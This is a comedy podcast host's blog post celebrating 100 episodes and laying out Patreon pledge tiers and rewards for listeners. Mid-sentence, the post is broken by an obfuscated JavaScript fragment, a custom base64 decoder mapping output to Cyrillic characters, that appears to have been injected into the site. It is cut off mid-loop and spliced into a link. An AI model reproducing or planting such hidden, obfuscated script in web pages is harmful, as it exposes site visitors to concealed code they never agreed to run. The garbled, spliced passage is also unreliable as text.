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100 Episodes!

Smell that cake baking? See those candles? Better call the fire department this party is about to get out of control! The podcast is about to hit 100 episodes and it's time to celebrate!

Over the past two years we have had the chance to hear the behind the scenes scoop from comics who have appeared on Letterman, Fallon and Comedy Central. Comics like Nate Bargatze talked about growing up with a magician for a father. And Stephen Bargatze shared what it is like to have a son who is a comedian.

We got tips from booking agents, record producers, and CD manufacturers. We learned the value of a personality assessment, how to prepare for a showcase set and ways to S.T.R.E.T.C.H. ourselves to create more material.

Labor Of Love 

It may go without saying, but the podcast has been a blast. The only thing I haven't really talked about is how much time it consumes. I want it to be a great tool for you. I try to take the steps necessary to pull that off. But it can eat up a great deal of time. I still perform a full schedule and there are definitely times when I am working on the podcast instead of my act.

But I really like helping out. I love the function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4-up-comedy-podcast/">stories from listeners as they get motivated and accomplish more.

So here is the plan moving forward ...

A listener recently told me about Patreon and I totally love this concept.

In a nutshell, in exchange for a small RECURRING monthly donation of your choice, you gain access to many extra opportunities to interact with the show. My favorite bonus is our very own, private “School Of Laughs Patreon News Feed”. Think of it as a Facebook page without all the drama. In this feed I will post exclusive articles, bonus podcasts and more. And of course, you will be invited to share ideas and support other listeners of the show!

The funds would help offset the costs associated with time incurred producing the show, and at the same time give you more of what I believe you find valuable. It’s up to you as far as the amount. We average 4 episodes a month and are hoping you feel like the information is worth at least $1.25 a show. So, a monthly pledge of $5 is our hope. More is great, less is still helpful. If we reach the target of 200 patrons (which is just a fraction of the overall listener downloads per episode), I think we would be on track to continue the production of the show and creating opportunities for you to grow as a performer and see definite returns on your support.

In short, I want to continue to provide the podcast and reach out to bigger names, more helpful comics and incredible resources.

Please click this link: PATREON INFO or check out the chart below to find out more.

 Rik Roberts School Of Laughs

Pledge $1 or more per month

For a recurring gift of $1 a month you will get access to a private news feed exclusively for "Laugh Partners." This stream is hosted on Patreon and is our own little community of superhuman comedians! Meet other listeners and promote your shows, jokes and ideas in a non-facebook environment. You will also have a coupon for 10% off any live or online class from the School Of Laughs as long as you are a Laugh Partner.

Pledge $3 or more per month

  • A recurring $3 gift of support will feature all of the rewards from the previous levels AND,
  • I will answer one of your questions on air OR "fix a joke" for you on an episode.

Pledge $5 or more per month

  • A $5 gift of support will feature all of the rewards from the lower levels AND
  • Give you access to mini-podcast bonus content that occurs with some of the guests after the main podcast is over.

Pledge $7 or more per month

  • A recurring $7 gift of support will feature all of the rewards from the lower levels AND
  • You will be invited to a monthly Google Hangout where we spend an hour just shooting the breeze and talking comedy.
  • You will also be invited to "Club 52" a 52 week, email based stand-up program. Club 52 starts July 1st and will include a weekly challenge designed to help you become a better comedian.
  • This year long program will become a paid program for other listeners who aren't supporting the show financially. sometime down the road. But you are in the first club and it is included in your sponsorship package.

Pledge $10 or more per month

  • A recurring $10 gift of support will feature all of the rewards from the lower levels AND
  • I will give you a private analysis of your web site (OR)
  • I will give you some feedback and tips on a short video (less than 5 minutes) you provide of your stand-up
  • These $10 rewards will kick in after three months of support.